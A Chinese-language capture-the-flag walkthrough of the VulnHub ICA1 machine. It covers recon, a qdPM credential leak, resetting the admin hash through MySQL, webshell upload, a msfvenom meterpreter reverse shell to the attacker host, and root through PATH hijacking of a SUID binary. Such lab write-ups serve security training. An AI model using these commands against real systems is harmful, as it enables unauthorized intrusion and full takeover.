『vulnhub系列』ICA1

下载地址

1
https://download.vulnhub.com/ica/ica1.zip

信息搜集

如果靶机获取不了IP地址请看这里:『vulnhub系列』JANGOW | Don_Joshua’s Blog (jo4hua.github.io)

使用命令nmap 192.168.0.130 找到存活主机

Untitled

开启了ssh,http,mysql服务,先访问80端口,进入如下登录界面

Untitled

使用dirsearch扫描目录

1
dirsearch -u "http://192.168.0.136/"

Untitled

发现数据库配置界面

Untitled

使用searchsploit qdPM 9.2 发现如下漏洞

Untitled

一个是csrf现在我们还没到那一步,第二个是密码泄露,我们使用

searchsploit -m 50176.txt 将50176移到当前目录下,使用cat 50176.txt查看

Untitled

漏洞利用

发现访问http://<website>/core/config/databases.yml 网站的这个链接,即可以看到数据库的用户名和密码 ,成功(qdpmadmin:UcVQCMQk2STVeS6J

Untitled

尝试登录一下

Untitled

成功,记住这个邮箱,并设置密码(admin@localhost.com:admin

Untitled

成功

Untitled

回到主页面,使用刚刚的邮箱登录

Untitled

发现登录失败,但是通过修改密码我们可以发现,邮箱是对的。

我们使用mysql登录,成功

1
2
mysql -h 192.168.0.136 -u qdpmadmin -p
---然后输入密码

Untitled

通过上面的配置文件,我们可以知道数据库的名字是qdpmuse qdpmshow tables 查看这个数据库里的表,我们发现users

Untitled

show columns from users 查看字段名

Untitled

果然是password,现在我们查询一下

1
select password from users where email="admin@localhost.com"

结果高兴的有些早了,我们发现查询数据为空…….,应该直接看有没有数据的

Untitled

直接一个一个查看每一个表,最后在configuration中找到我们需要的东西

Untitled

但是$P$E0dY11qb93cBPO/VuVULOQPHeuLb6m/ 是一段hash值,很像是crypt中的,但判断不出来。

在安装工具hash-identifier 之后,我们使用hash-identifier 进行判断

1
2
3
git clone https://github.com/blackploit/hash-identifier.git
cd /hash-identifier
python hash-id.py

输入对应的hash值之后,我们可以得到类型可能是md5

Untitled

我们使用本机生成一个md5的hash然后覆盖掉原来的hash,这里使用python生成一个密码为admin的hash值

1
2
3
4
import crypt
crypt.crypt('admin', crypt.mksalt(crypt.METHOD_MD5))
------结果
$1$aFzipe0r$qYbks7esarcBVgfO0.oay1

修改app_administrator_password(id=2)的value,成功

1
update configuration set value='$1$aFzipe0r$qYbks7esarcBVgfO0.oay1' where id=2;

Untitled

登录试试,成功

Untitled

此时,我们添加用户

Untitled

发现可以上传文件

Untitled

上传看一下,报错

https://www.notion.so

但是我们一开始是有一个/uploads文件夹,发现文件已经上传成功了

Untitled

此时我们上传一个php一句话木马试试

Untitled

发现并没有这个文件

Untitled

我们用burp试试,提交的时候抓包,将Content-Type:后面的类型改为image/jpeg 顺手在文件内容前面加上GIF89A (保险)

Untitled

提交,失败

Untitled

我们切换到新建的用户中,发现有一个上传文件的地方

Untitled

上传一个php文件试试

Untitled

此时在/uploads/attachments/页面发现php文件了

Untitled

之后用同样的方式,上传msf生成的php

1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.130 lport=4444 -o re_shell.php

上传之后使用msfconsole进入msf,使用相同的payload监听

1
2
3
exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.130

Untitled

监听,run

访问刚刚上传的webshell文件,成功

Untitled

提升权限

使用命令

1
find / -perm -u=s -type f 2>/dev/null

查看可以具有SUID权限的文件,我们发现有一个/opt/get_access 很可疑

Untitled

运行一下

Untitled

使用命令strings 命令查看一下,文件中的可打印字符

1
strings /opt/get_access

Untitled

然后我们在其中可以发现,这个程序运行的时候,可以以root权限执行cat命令,因此这里的思路是

  • 将环境变量中的cat修改为我们的自己建立的cat

这样当运行这个文件的时候,就可以运行我们的cat

创建新的cat

1
echo "/bin/bash" > /tmp/cat

/bin/bash写入/tmp/cat文件中,这样以root权限运行时,就会将root的/bin/bash反弹回来

并赋予其可执行权限

1
chmod +x /tmp/cat

增加环境变量

1
export PATH=/tmp:$PATH

可以将/tmp/cat的路径加入到PATH,从而可以在任何地方直接使用hello命令。并且对所有用户生效

运行get_access

1
/opt/get_access

见证奇迹的时刻,whoami

Untitled

成果

/root

1
ICA{Next_Generation_Self_Renewable_Genetics}

/home/travis

1
ICA{Secret_Project}